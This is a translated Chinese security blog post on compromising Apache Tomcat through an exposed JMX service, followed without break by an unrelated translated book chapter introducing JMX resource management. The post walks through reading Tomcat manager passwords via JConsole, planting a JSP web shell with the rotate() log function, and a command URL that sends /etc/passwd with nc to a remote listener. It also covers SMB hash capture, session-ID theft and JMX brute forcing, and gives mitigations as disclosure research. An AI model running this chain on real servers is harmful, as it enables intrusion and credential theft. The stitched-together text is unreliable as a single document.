通过JMX访问破坏Apache Tomcat
本文主要关注的一些配置问题，可以将Java管理扩展（JMX）服务暴露到外部网络中，来用于远程监视和管理的目的。
通过使用Java开发工具包（JDK）中的JConsole工具，这些功能可能被攻击者滥用来获得系统的控制权限。
本文的编写是为了来强调这种之前不为作者所知的新的攻击方式，它与Tomcat服务器暴露的有关。
希望在这里提供了足够的信息，以利于提出阻止这种利用的有效的缓解措施并且帮助渗透测试团队评估使用这种配置的Tomcat服务器的状态。
本文讨论的这个问题已经提交给Tomcat团队，被分类为程序的已知功能，并且目前没有任何补丁提供。
总而言之，Tomcat指出：
Java JMX访问相当于admin/root访问，其处理方式与对具有admin / root权限的机器的物理访问相同。
其他敏感的信息，比如session IDs，可通过JMX访问，并且隐藏这些信息将严重降低JMX接口的实用性。
Tomcat文档通常不涵盖JMX的主题，但是在其他地方会涵盖它。
任何读者在阅读本文后都应该遵循第九节中的建议。
0x01 Tomcat的JMX服务
Apache Tomcat的JMX服务通常被用来通过网络监控和
实例，通过Java远程方法调用（RMI）来与服务器交互。
这个服务默认不开启，与之相反的是其他常见的Java企业版的服务器（比如JBoss）是默认配置开启的。
为了开启Tomcat的JMX服务，需要在setenv.sh/setenv.bat做一些简单的修改，这个脚本是用来设置环境变量和Catalina进程启动时的一些属性。
JMX服务可以配置为支持认证，但是它默认不开启。当认证被开启（总是被推荐），它的授权模型允许访问属于只读或读写角色的两个不同的用户。
网络上关于JMX接口的配置信息很少且过时了。
例如，在下面的URL对应的网页的标题为“监视和管理Tomcat”，但是它的配置指导是基于java 6版本的：
这个指南的第一段开始有一段注释：
“注释：这个配置只在你需要远程监控Tomcat时才开启，如果只是则不需要开启，且需要使用启动Tomcat相同的用户。”
这个快速指南包括认证未开启的简单配置。然后它建议需要认证时，修改配置来启用上述的两个角色且分配密码。
指南中有意思的一个片段如下：
如果你需要认证，添加并修改这个：
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access
编辑$CATALINA_BASE/conf/jmxremote.access文件：
monitorRole readonly
controlRole readwrite
编辑$CATALINA_BASE/conf/jmxremote.password文件：
monitorRole tomcat
controlRole tomcat
提示：密码文件应该是只读的，只能用和运行Tomcat相同的操作系统用户来访问。
如上所见，jmxremote.access文件包含两个用户名（monitorRole和controlRole）和他们相关的角色。在jmxremote.password文件中设置这些用户的密码。
对此服务始终建议启用认证，但快速指南不强调此功能。
这个指南不强调为只读和读写用户设置强密码的重要性。这就是为什么在现场渗透测试期间，这个接口经常被发现没有配置认证或者使用了与指南建议类似的弱密码。
0x02 决定是否启用Tomcat的JMX接口
通常需要使用进行扫描，来确认与Tomcat关联的JMX接口是否已启动并在远程服务器上运行。
在这种情况下强烈建议使用--version-all和-A标志，因为它会告诉nmap触发附加探测器来检测非标准端口上JMX接口的存在。
例如，假设使用以下命令行扫描Tomcat服务器：
&nmap -p- -sV -A 192.168.11.128 -n
Nmap scan report for 192.168.11.128
Host is up (0.00028s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
2001/tcp open dc?
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.39
49222/tcp open unknown
为了简单起见，上面的扫描结果仅包括与Tomcat相关的端口。可以看到，端口2001/tcp和端口49222/tcp未明确标识。
然而，添加--version-all标志将显示更多有趣的信息：
&nmap -p- -A -sV --version-all 192.168.11.128
Nmap scan report for 192.168.11.128
Host is up (0.00032s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
2001/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| implements javax.management.remote.rmi.RMIServer,
| java.lang.reflect.Proxy
| Ljava/lang/reflect/InvocationH h
| java.rmi.server.RemoteObjectInvocationHandler
| @192.168.11.128:2001
|_ java.rmi.server.RemoteObject
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.39
49222/tcp open rmiregistry Java RMI
在这种情况下，JMX服务被配置为在非标准端口2001/tcp而不是端口1099/tcp上运行，1099/tcp通常被这种服务的优先选择。
此外，应当注意的是当JMX接口运行时，运行Java RMI的随机端口也可用于Tomcat。从客户端/攻击者角度来看，能够连接此端口也很重要。
也就是说，单独使用nmap无法确定Tomcat JMX接口是否启用认证。
0x03 使用连接JMX服务
如果你使用Windows，JConsole是JDK中的一个小的可执行文件，存储在bin文件夹中。启动后主界面如下图：
图1 – Jconsole主界面
JConsole也在Linux版的JDK中提供，且在Kali中找到如下图：
图2 – Kali中的JConsole
如果逆向远程连接到Tomcat JMX接口，选择Remote Process选项且输入目标的IP地址加端口号。点击Connect按钮：
图3 – 设置目标
JConsole能够检测到SSL是否开启，并且显示如下提示：
图4 – 目标中的SSL没有开启
单击Insecure connection按钮继续。当启用认证，通常会显示以下提示：
图5 – 认证启动的提示
在这种情况下，您应该使用username和password文本框输入一些有效的凭据。请注意，也可能由于其他原因获得连接失败错误。
连接失败的常见原因之一是由于攻击者和服务器之间的防火墙。此防火墙可能配置为阻止传入流量到由Tomcat启动的其他Java RMI进程使用的端口（例如，上面nmap扫描输出中列出的49222/tcp）。
使用您喜欢的网络嗅探器进行流量捕获，以了解“连接失败”错误是否与认证相关。
在下面的示例中，Tomcat JMX服务器（运行于192.168.11.128）正在返回包含认证失败错误的RMI消息：
图6 – 认证失败-暗示需要认证凭据
请注意，上面的错误包括需要凭据的字符串，表示在JConsole初始屏幕中未指定任何凭据。
在输入一些凭据时返回不同的错误消息：
图7 – 不可靠的用户名和密码
如果未启用认证（这在某些内部网络渗透测试中可能是正确的），显示如下：
图8 – Jconsole连接到远程的Tomcat JMX接口
事情开始变的有趣。
从这一点开始，我们将考虑攻击者能够识别一个监听的Tomcat JMX接口并可以使用JConsole连接到它的情况。这是可能的，因为认证未启用，或者因为攻击者能够猜到一些有效的凭据。
0x04 使用JMX读取Tomcat管理器的密码
假设Tomcat启用了管理器应用程序，但是没有使用任何弱凭据（如admin/admin或tomcat/manager）。假设攻击者试图使用自动脚本来强制一个有效的密码而不成功。
在这里，可能得出没有方法发现管理器密码的结论。
事实上，有一个简单的方法，在忽略密码强度的情况下恢复密码，在写文章的这一刻，这个技术还没有参考。
这个方法是在你的机器上面启动JConsole并且指向远程的Tomcat JMX服务器。选择MBeans选项卡：
图9 – 选择MBeans
之后显示如下：
图10 – Mbeans
展开Users目录，且选择下面的节点：
Users-&User-&”manager”-&UserDatabase-&Attributes
你应该能够看见类似下面的一些东西，这些暗示了凭据：
图11 – 泄漏的Tomcat管理器的用户名和密码
在这里，你能使用发现的凭据来连接到远程Tomcat管理器，以控制服务器。
0x05 日志循环函数中的
如果你已经看到了这里，你已经有了一个好且简单的方法来访问Tomcat管理器，来破环底层服务器。
执行此操作的典型方法是部署简单的Web应用程序存档（WAR），包括允许执行操作系统（OS）命令的代码，然后调查服务器上的内容。
如果服务器在Windows上运行，则大多数时间它将作为SYSTEM或管理员运行。因此，你的操作系统命令将在最高权限级别运行。
但是，如果由于某些原因Tomcat管理器不在那里怎么办？
虽然在内部网络中部署的服务器则不可能是这种情况，但是仍然有可能，因此我们需要另一种方法来浏览服务器，假设我们仍然能够连接Tomcat JMX接口。
日志循环函数
在大量的具有写权限的Tomcat JMX MBeans操作中，有一个显示了有趣的行为。当JMX服务没有配置支持认证时，这个特别的功能也能访问。下面是它的Java特征：
boolean rotate(string newFileName)
上面的特征在下面的节点提供：
Catalina-&Valve-&localhost-&AccessLogValve-&Operations
这表明rotate函数用于备份Tomcat访问日志到服务器上的文件中。
为了证明这个，下载了运行Tomcat8.0.39的Bitnami Linux VM。然后配置服务器来公开JMX端口，以便允许使用JConsole进行连接。最后totate函数用此位置指定文件：
/tmp/test.log
完成这个过程后，下面的确认消息由服务器返回：
图12 – ‘True’确认消息被执行
可以确认test.log文件在tmp目录中。直到rotate函数被调用，目录的内容是Tomcat访问日志。
bitnami@ubuntu:/tmp$ cat /tmp/test.log
192.168.11.1 - - [08/Dec/:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026
bitnami@ubuntu:/tmp$
在服务器上面执行OS命令
正如上一节讨论的，rotate函数允许在服务器的任意目录中存储文件。它还将允许选择该文件的任意扩展。
这意味着，作为一个攻击者，我们滥用它来在Tomcat提供网络服务的目录中创建一个Java Servlet Page（JSP）文件。在这里我们的目标创建包含JSP指令的文件来在服务器上面执行命令。
为了实现这个，我们首先需要的是使用在URL中包含有效的JSP代码的请求来破环Tomcat访问日志。
例如，使用Burp Suite Repeater来发送下面的请求。注意在这个例子中，我们测试的Tomcat运行在80/tcp端口：
图13 – 发送的请求
现在我们需要的是找到一个可靠的路径来存放我们的使用rotate函数的JSP文件。关于这个我们能利用JConsole界面中的一些信息。
VM的Summary选项卡能提供一些关于catalina.base属性的信息。这个选项卡包含一个节（在窗口底部），显示了Java VM的参数。
例子显示如下：
图14 – catalina.base文件夹
Catalina.base目录应该返回一个webapps文件夹，其中是Tomcat提供的各种网络服务。
部署在服务器上的网络应用可以在MBeans选项卡中看到。
下面的截图是Tomcat服务器默认的应用的例子：
图15 – Tomcat上默认的应用
将cataline.base目录的信息和Tomcat上的应用列表放在一起，找到存储我们JSP文件的目录还是可能的。
例如，一个test.jsp文件存储在/docs文件夹中：
/opt/bitnami/apache-tomcat/webapps/docs/test.jsp
在这里，上面的路径可以和rotate函数一起使用：
图16 – test.jsp文件被创建
我们能打开浏览器并运行一个命令。在下面的截图中一个命令被执行，用来把/etc/passwd的内容粘帖到nc客户端中，继而连接一个远程监听器：
图17 – 远程服务器上面的数据
作为参考，执行命令的URL显示如下：
http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%.136%208080
这包括一些调整，允许使用管道将输出从一个命令重定向到另一个命令。
如果需要，目前为止的web shell也可以用来执行wget命令，并从远程机器上面下载一个更多功能的JSP shell。
捕获SMB challenge-responses hashes
正如已经讨论的，如果你的Tomcat服务器在Windows上面运行，意味着通过JSP shell执行的命令和通过rotate函数创建的命令将以最高权限运行。
然而，有时可能出现不正确的情况，且服务器运行在域账户。如果那种情况，捕获SMB challenge-responses和破解他们是可能的。Rotate函数也在这里使用。
为了测试攻击场景，Kali虚拟机可以用来启动Metasploit SMB capture auxiliary module。
使用JConsole执行JMX连接，并且使用下面的参数使用rotate函数：
\\192.168.11.136\test
在这种情况，上面的IP地址是Kali虚拟机。下面的截图确认了Tomcat向远程IP发送了一个请求，能够3次捕获SMB challenge：
图18 – 捕获的SMB challenge response
通过创建其他文件类型来进行client-side攻击
注意，rotate函数也能用来创建敏感文件（如HTML文件），并且在网络应用中存储他们，以便执行跨站脚本攻击。
这个涉及到，重复上述步骤，使用可靠的HTML代码污染日志文件，然后在Tomcat网络应用程序目录中存储一个HTML文件。
图19 – html文件
0x06 抓取网络应用的用户的session ID
另外的Tomcat JMX操作能被攻击者利用来劫持Tomcat网络应用的用户的会话，lisrSessionIds()在下面的节点显示：
Catalina-&Manager-&[ApplicationName]-&Operations-&listSessionIds()
这个操作通常可用于Tomcat上部署的每个网络应用中，且如名称所示，能返回连接应用的用户的所有的JSESSIONID。
例如，下面的截图显示了连接管理器应用的用户的session ID：
通过Tomcat JMX服务可用的操作之一将允许检索JSESSIONID cookie值，因此可能允许攻击者通过劫持他们的会话来假冒另一个用户。
注意，由于需要该帐户的有效用户名和密码，因此无法利用此问题访问管理器应用程序。然而，部署在服务器上的其他应用程序（例如支持基于JSESSIONID cookie的认证的应用程序）会受到影响。
能够运行listSessionIds()数的攻击者将能够劫持另一个用户的会话。
注意，listSessionIds()是另一个操作，它只对具有写入权限的JMX用户可用。
如果JMX服务器配置为允许未经认证的访问，那么它仍然可以使用。
0x07 暴力破解进入Tomcat JMX
当Tomcat JMX服务配置为启用认证并且使用强密码时，仍有可能获得的访问。
实际上，为此服务实现的认证过程在登录失败后不会锁定帐户，因此容易受到暴力密码破解攻击。
PoC工具（jmxbf）已经由作者开发来演示这个。
使用例子如下：
java -jar jmxbf.jar
-h,--host &arg& The JMX server IP address.
-p,--port &arg& The JMX server listening port.
-pf,--passwords-file &arg& File including the passwords, one per line.
-uf,--usernames-file &arg& File including the usernames, one per line.
$&java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
一些例子输出如下：
$&java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
###SUCCESS### - We got a valid connection for: control:supersecretpwd
Found some valid credentials - continuing brute force
###SUCCESS### - We got a valid connection for: monitor:monitor
Found some valid credentials - continuing brute force
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
Auth failed!!!
The following valid credentials were found:
control:supersecretpwd
monitor:monitor
这个工具通过github可以下载到：
0x08 其他问题？
正如已经提到的，MBeans操作的大列表和属性能提供给连接Tomcat JMX服务的用户使用。可能还有其他函数，可以使用与上面讨论的rotate函数问题所示的类似的方式。
深入研究才能确定。
如果由于强大的认证措施让你无法访问Tomcat JMX控制台，则仍然有潜在的方法来破坏服务器。
Tomcat最近修补了两个与Java反序列化相关的漏洞，如果暴露了JMX服务器，可以利用这些漏洞：
本文不讨论这些漏洞的细节，但是却可以说如果你的Tomcat运行在老版本的Java系统中，是可能通过发送特定的包到JMX服务器来实现RCE。
进一步研究后再发布新文。
有很多可以实现的建议，来保护有本文讨论的问题的Tomcat服务器。
首先，建议对JMX服务的访问使用防火墙。只有列入白名单的IP地址才能连接。
然而，应该始终启用强密码的认证。下面是在Windows使用setenv.bat启动认证的例子：
SET JAVA_HOME={replace with full path to Java JDK}
SET JRE_HOME=%JAVA_HOME%
SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server
SET CATALINA_OPTS=-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
SET CATALINA_OPTS=%CATALINA_OPTS%
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access
下面是Linux下面使用setenv.sh的例子：
JAVA_HOME={replace with full path to Java JDK}
JRE_HOME=$JAVA_HOME
JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS "
JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS "
CATALINA_OPTS="-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.rmi.port=1099
-Dcom.sun.management.jmxremote.ssl=true
-Dcom.sun.management.jmxremote.local.only=false
-Djava.rmi.server.hostname={replace with Tomcat server IP address}
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access"
export JAVA_HOME
export JRE_HOME
export JAVA_OPTS
export CATALINA_OPTS
SSL也应该开启，以保护认证过程中凭据嗅探攻击。
注意，在上述所有的配置中，jmxremote.ssl变量设为true。
然而，没有包括正确启用SSL其他的一些变量。需要的其他配置步骤在这里不再详述。
下面的URL包含了这个任务的参考信息：
强烈推荐为只读和读写用户在jmxremote.password文件中设置高强度密码保护。这些应该与Tomcat管理器不同。
并且，考虑为所有用户选择不常用的用户名。
另外，只有Tomcat用户才被允许读取jmxremote.password文件。如果检测到这个文件的读权限太宽松，Tomcat将不会启动。
下面的命令能被用来在Windows上面设置这些权限：
cacls jmxremote.password /P [username]:R
尽管JMX访问等同于admin/root访问，如果一个人能够以只读用户身份访问JMX服务，那么仍然可能看到Tomcat管理器用户名和密码。
的确，只读用户将不被允许运行任何JMX操作，但他们仍然能够访问一个敏感的信息，在大多数情况下，将导致Tomcat服务器的破环。
关于rotate函数的问题，作者认为应该严格的控制，以避免Tomcat JMX服务器在服务器上可用的任何文件夹上创建具有任何扩展名的日志文件。
通过这个函数创建的日志文件只能在Tomcat日志文件夹中创建，并且无法使用URL访问。
最后，考虑在系统上存储一个哈希版本的Tomcat管理器密码（因为这个哈希将在JMX属性中可见）而不是纯文本版本。
注意，这是我们从Tomcat收到的一个建议，同时讨论了JMX只读用户能够读取管理器的密码的问题。然而，这种情况下如果用户名还是明文，攻击者可以使用离线密码破解工具破解密码。
下面的URL包含了存储哈希版本密码的一些参考：
下面是digest工具的使用例子：
digest.bat -s 0 -i 1 themanagersecretpassword
将输出明文和加密的凭据：
themanagersecretpassword:42052cecc383f2cfe3f3fc9e2997e77ebf1f1ba9bcbb796e4ec0cc1edb510c2e295a5c11b095
注意，在上面的例子中，-s和-i参数分别用于设置salt的长度和迭代次数。
Digest工具还接受-a参数，来指定哈希算法。
根据Tomcat的推荐，当不使用-a参数，则默认使用SHA-512。
另外，应该注意不带-s和-i参数使用digest，将返回{salt}${iterations}${digest}格式的输出，例子如下：
&digest.bat themanagersecretpassword
themanagersecretpassword:92cd45d5db0ffb0cc673ec3c946a28c199c$a2b33692ebb95adfd50b13da649b1d703ffcddecf6a99fb6b8fa724c6c518c2cc2ec16b060cb2f
上述的例子，关于salt的长度（字节）和迭代次数，使用默认值，
虽然作者写作是不知道，但是下面的工具在2014年由Jeremy Mousset创建，覆盖了本文讨论的一部分内容，且不涉及JConsole：https://github.com/jmxploit/jmxploit
【本文来源：翻译
安全脉搏yuyang编整理发布】
必填（保密）
快来写下你的想法吧！
文章数：23
安全脉搏编辑~
(C) 安全脉搏JMX IN ACTION---第一章
我的图书馆
JMX IN ACTION---第一章
第一章 资源管理与 JMX
分布式应用、设备和服务设施以不同的组织方式出现在一个企业里。在你的公司，你可能通过公司内网或通过防火墙之外的网络服务得到数据。例如你可以通过一个共享的日历应用或一个财务应用来填写一个费用单。必须有人维护所有应用，不仅仅是这些应用，还包括支持这些应用的硬件，都需要维护。资源管理包含应用和支持应用的硬件。实际上，通过开发JMX 资源管理应用程序，应用和支持应用的硬件都可以被有效管理。本书将向你展示怎样使用JMX 管理和监控你的企业资源— 包括硬件和软件。
无论你是否已经熟悉JMX 或是打算买这本书来弄清楚到底什么是JMX ，你都需要首先明白JMX 存在的理由。本章你将会学到JMX 基础知识，一些JMX 术语以及基础JMX 架构。我们的讨论会使用一个自行车商店的web 应用作为例子，在这个应用中，人们可以登入这个站点购买自行车和轮胎，以及进入和自行车有关的文章和内容的连接。
资源管理是一个管理概念，它对企业中的应用和资源提供用于管理的计划和工具。对于典型的企业，资源管理是一个报告企业应用和硬件健康状况的一个工具。基于资源的健康状况，IT 工程师可以对系统中的失败和紧急事件作出反应。
改进的资源监视和管理系统可以使IT 工程师尽早的发现应用的问题，以在问题出现时尽快的提供解决方法。这样IT 工程师就由被动变为主动了。假如你意识到资源性能正在下降，那么你极有可能帮助避免了一场灾难性的失败。更进一步，你可以通过一个单独的管理控制台来远程调整资源和设备。
当前许多企业的管理环境缺乏对应用的快速响应。且许多应用监视和管理方案不仅成本很高而且很难实现。本节我将会比较典型的环境和我们自己的理想环境（它们之间的差距很可能让你感到吃惊）。然后，我们将向你展示，在典型的资源开发、努力和支持方面你可以做什么。
当前的管理对象可以分为两类：网络和应用。大多数普通的网络（硬件）管理工具使用简单网络管理协议（SNMP ），而对于像web 站点一类的应用，多数企业开发者要么使用应用内置的管理工具或者自己开发工具。还记得前面提到的“资源管理包括应用和硬件两方面”吗？
当前多数网络监控和管理系统使用SNMP 解决方案对硬件提供监控和管理能力。SNMP 是一个已经被广泛使用多年的监控标准。对例子中的自行车网店来说，你可以使用SNMP 监控运行这个应用的服务器的健康状况和活动以及后端应用。
受管设备的信息存储在管理信息库（Management Information Base ，MIB ）中，MIB 是设备信息的一个层次表示。一个受管设备可以用位于MIB 树中的一个对象名或对象ID 来表示。一个可能的名字：
iso.identified-organization.dod.internet.private.enterprise.myenterprise.myvariables.myProduct 或者其他类似的。一个对象ID 使用一系列数字作为文本名（关于MIB 的更多信息，请参考SNMP 规范：）。
幸运的是许多硬件提供商会在他们的设备里提供MIB 的定义和SNMP 钩子。但是由于SNMP 开发的困难程度，很少有应用会使用SMNP 钩子。
SNMP 开发不是一件容易的事，大多数开发者并没有受到这方面很好的培训。很不走运，SNMP 不能很容易的对你的自行车店提供监控和管理。对于Java 日常开发者来说，开发SNMP 不是一件好差事。
软件公司在开发应用时，通常不会考虑它的运行环境和配置，直到部署时，才焦头烂额的去考虑怎样维护系统，怎样处理紧急事件。一些公司在他们自己的产品中内置管理工具或管理控制台，对大多公司来说，应用管理来自于他们应用运行的平台, 一般是Web 或应用服务器。
当开发自行车商店的时候，你不仅要考虑此应用的健康状况，还需要考虑应用服务器、web 服务器以及数据库等其他软件的状况。如果没有一个标准、一致的管理平台，就不得不对暴露应用属性、健康状况和统计编写特定的代码。实际上，如果你换一个不同的监控方案，你不得不重新编写代码。
当前典型的管理环境，IT 工程师总是被动在维护应用。硬件和应用管理方案常常在部署阶段才被想起。当然，开发一个通用、可复用的管理和监控系统本身就是一件困难的事事情。
理想的管理环境应该具有主动解决问题的能力。管理系统应该可以持续的监控设备和应用的健康状况。如果一个设备宕机了，管理系统可以发现一个替代设备，并将请求重新路由到替代设备上，然后通知事故管理员。例如如果自行车网站宕掉了或者超负荷运行了，那么管理系统应该分发一些服务到另一个服务提供者，并通知管理员，甚至可以启动另一个web 服务器以分担原始服务器的负担。
理想的管理系统不仅仅需要时刻关注应用的健康，还需要知道应用内部的一些情况。例如，它可以快速的生成比较自行车商店成功和失败交易的报告。在系统管理层次，系统中当前的可执行线程数应该在执行期是可以改变的。管理系统可以基于它收集的应用和设备数据作出决定并采取措施。
不幸的是，理想的管理环境需要耗费很多经历和资源去实现，开发管理工具，你需要为你的应用和网络资源定制接口，并且可能需要很多其他的资源和配置来能保证在性能和可用性上有最大的灵活性。因此，你应该建立一个比当前系统更好并且易于构建和维护的系统，而不是去建立一个理想的管理系统。
一个可行的方案也许是当前的管理环境和理想的管理环境的一个折中方案。通过收集和综合网络应用和设备的信息，从而得到一个更好的解决方法，然后自动的去管理或者由系统管理员来实施。让我们还是以自行车商店为例来说明问题，它正思考着建立一个管理系统呢。
设想你正在运行着我们前面提到那个自行车在线商店，顾客可以在他上面买自行车和轮胎。为了保证顾客的交易不被打断，你安装了另一个服务器以备第一个服务器突然宕机了。在整个环境中，web 服务器、应用服务器、数据库、网络设备共同提供了你所需的服务。下面的列出了在这个环境中需要监控的和管理的需求。
§监控平台运行状况 — 你需要了解 web 和应用那个服务器以及支持他们的硬件的健康状 况。网络硬件向外暴露SNMP 接口，通过这些接口可以报告它的健康状况和任何发生的错误。同样的，web 服务器也向外报告错误，并且允许你查询它的运行状况。数据库也是如此，以便于查询它的性能和运行状况以及可能出现的错误。
§在应用级别配置资源 — 你可能想直接连接自行车网站来进行配置和管理。当你开发这个应用时，你已经预先在它里边内置了管理程序以满足你需要的各种信息。你可以连到这个应用的服务器，修改一页可以显示的条目数，或者查看数据库状况是不是当前数据库的负担很重，以决定是否减少连接池中活动的连接数；你也可以减少线程池中的活动线程数以减低从外边来的并发请求。通过进一步的调整，使各种资源得到合理的应用。
§收集应用统计数据 — 随着时间推移，为了进一步配置你的自行车网点应用，你可能还想收集各种重要的事务统计数据、查询数据等等。例如你想比较各个分类的访问量和实际的成交量，以及恶意攻击系统的数量。实际上，你完全可以把这些信息也放到管理系统中去。
§调试选项 — 不要轻视用于分析的信息的数量。幸运的是，你已经提前意识到你将会在调试时候，需要要打开日志。通过管理API ，就可以允许自己在修改配置后不需要重新启动应用，就可以打开debug 选项，并将日志重定向至控制台以供debug 。
§监视服务器性能 — 你的Web 应用需要监视运行状况和负载状况。如果在第一个server 上负载过多，你可能就需要就将一部分负载转移到备份server 上。为了避免失败的情况发生，你还需要通过mail 通知和打印件注意致命事件的发生。
本节描述的这个监视和管理框架，基本覆盖了当前应用管理的重要方面。但是，实现这样一个框架确实昂贵和困难的，最终，管理员不得不面对不同的服务和硬件的不同的管理控制台和接口。
前面几节，我们描述了一个涵盖企业应用所需的监控和管理框架，然而，必须指出的是，构建那样一个管理框架是很困难的，并且将会给管理员许多不同类型的管理工具去管理系统。本书中你将会看到，使用JMS 构建一个管理环境，将会更简单、更具有伸缩性，且开发周期很短。JMX 是Java 新加入的一个框架，它提供了一个标准的管理方案，包括我们前几节所描述的那些功能，JMX 允许你将所有的资源（硬件和软件）打包成java 对象，然后将他们暴露在分布式环境中，并且JMX 提供了一个机制，可以很简单的将既存的管理协议，如SNMP ，映射到JMX 自己的管理结构中。
让我们看看前几节描述的管理方案怎么使用JMX 来实现：
§平台运行状况 — 一如前面提到的，通过JMX 你将非Java 资源和硬件接口包装成Java 对象，然后将他们置入JMX 管理环境。通过Java 包装，你可以和WEB 应用服务器交互，和硬件通信以驱动系统。
§配置资源和收集统计信息 — 使用JMX ，你可以直接暴露应用和服务的API ，此外你还可以动态的选择暴露API 的一部分。随后通过JMX 管理工具，你可以在任何时间invoke 或查询这些API 。事实上，如果你知道你将会使用JMX ，你可以在你的应用中构建JMX 组件，然后将它们暴露在JMX 管理环境中。即使你的应用已经开发完毕，你仍然可以快速使用JMX 使你的应用变得可管理和可监控。
§调试选项 — 调试选项像其他资源和属性一样是可配置的，一旦通过JMX 接口被暴露出来，就可以触发他们。
§应用性能 — 使用JMX, 你可以很容易的监控系统中的关键事件。当一个事件发生时，JMX 可以将这个事件通知给提前定义的监听器处理。通过配置监听器，可以将事件发送到页面或一个邮件信息等等，处理是完全可定制的。
&&& 使用基于Java 解决方案的JMX 有很多好处，对于一个Java 程序员来说，一些好处是显而易见的。例如，Java 是便携式的语言（write once run anywhere ），因此你可以只关注你的应用本身而不用考虑平台相关性的问题。使用JMX 还有以下几个更具诱惑力的优点。
相比较于SNMP 这些技术，JMX 具有显著的优点，具有Java 编程经验的程序员可以很快的掌握JMX 的概念，从而大大提高生产力。而要掌握SNMP ，不仅需要开发者熟悉某种开发语言，并且还需要开发者熟练掌握SNMP 协议，而SNMP 本身就是很难搞明白的。SNMP 的学习、解码、编译是一个相对比较漫长的过程。
再者，使用JMX 管理应用是简单和直接的（特别是你的应用是用Java 开发的）。开发者秩序很少的几行代码就可以使用应用具有被管理的特性。
&&&&& 使用JMX 构建管理系统时，你不需要放弃系统中已经存在的管理结构，既存的管理工具可以接入JMX 技术中。正如前面提到的那样，JMX 提供了和其他协议（SNMP 、HTTP 等）通讯的能力，并且可以和其他任何的transport （如Java RMI ）互连。如果既存的企业设备和应用没有内置管理工具，你仍然可以使用JMX ，通过构建一个JMX 代理作为操作中心来管理这些设备。
&& JMX 允许你以组件的形式构建管理系统。你可以选择暴露整个设备或应用，或暴露它们的一个子集。当你将应用发给客户时，那么应用中包含的管理组件将可以直接的插入客户的管理套件中。
&&& 通过JMX ，你可以让应用将它的当前的健康运行状态以及有用的统计信息报告出来。使用JMX ，你可以从Web 服务器或数据库等资源收集信息。
JMX 提供了一个通知（notification ）机制，它充分发挥了Java 作为面向对象语言的优点。通知机制提供了充足的能力像分发基本数据那样分发Java 对象。管理系统可以发送一个既包含数据又包含操作的通知，对熟悉面向对象编程的程序员来说，这是一个很给力的概念，而我们前面讨论的那些管理和监控系统并没有这个能力。
使用JMX ，可以发布数据（警告和系统事件），也可以对感兴趣的数据发送一种机制。比如你可以发出一个处理器负载状态的通知，这个信息本身可能对管理系统不是很有用，但是如果发送一个对象，它不仅包含这些数据，而且伴随一个机制来提供负载重要度的应用视图。例如通知可以有一个方法isLoadCritical() ，它将返回临界负载的应用概念，那么管理系统就不仅可以基于负载作出决定，并且可以知道应用是否处在负载过度的状况。
&&& 你可能经历过这样的开发过程，在它里面，很多开发团队不得不通力合作以提供应用管理和监控的API 。如果使用JMX ，那么每个团队只需要为他们自己的应用开发的MBean 负责就可以了。
当应用部署的时候，只是简单将MBean 部署进JMX 代理。所有的MBean 在逻辑上来看是集中管理的，但是其实他们部署在不同的主机上。通过一个单独的管理工具就可以管理和配置所有的应用。相比较与其他的管理技术，使用JMX 来提供你的管理方案，可以使开发更容易、具有更强大的管理能力，并且可以从java 本身作为一种面向对象的语言和平台无关性上受益。
&&& 下列的术语是本书讨论的整个JMX 的基础。在这儿定义它们，仅仅是因为下一节我们会接触到它们。以后的章节会涵盖这些内容，在哪里，你将对他们有一个更深刻的理解。把它们列在下面仅仅是为了帮助理解下一节的JMX 架构。
&&& 一个可管理资源是一个可以使用Java 进入或可以被Java 包装的应用、设备或存在的实体。它通过JMX 为管理暴露接口。应用可以向JMX 环境暴露组件、API 或其他的资源以备管理。可管理资源甚至可以是像打印机那样的网络设备。可管理资源是一个通过JMX MBean 管理的实体。
&&& MBean （管理构建）是一个Java 类，它符合JMX 规范中定义的命名规则，并继承一些标准的JMX 指令。MBean 实例就是Java 对象，它为可管理资源暴露管理和侵入接口。MBean 的管理接口由MBean 暴露给管理系统的属性和操作组成。
